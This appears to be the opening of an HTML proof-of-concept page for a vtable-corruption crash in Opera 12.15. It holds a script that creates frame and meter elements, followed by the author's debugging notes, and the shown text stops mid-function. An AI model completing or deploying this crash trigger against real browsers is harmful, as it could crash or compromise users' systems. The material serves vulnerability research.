<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">
/*
Title: Opera 12.15 vTable Corruption
Author: echo
Test: Windows 7 x64
Version: Opera 12.15 Win32
Link: www.opera.com
*/
var wnd = document.getElementById("wnd");
wnd = wnd.contentWindow;
function d00m()
{
var tag = [];
tag.push(document.createElement("frame"));
tag.push(document.createElement("meter"));
/* so we have here some kind of memory corruption */
/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
/* logically next step should be checking why the vtable in "step 2" is corrupted */
/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */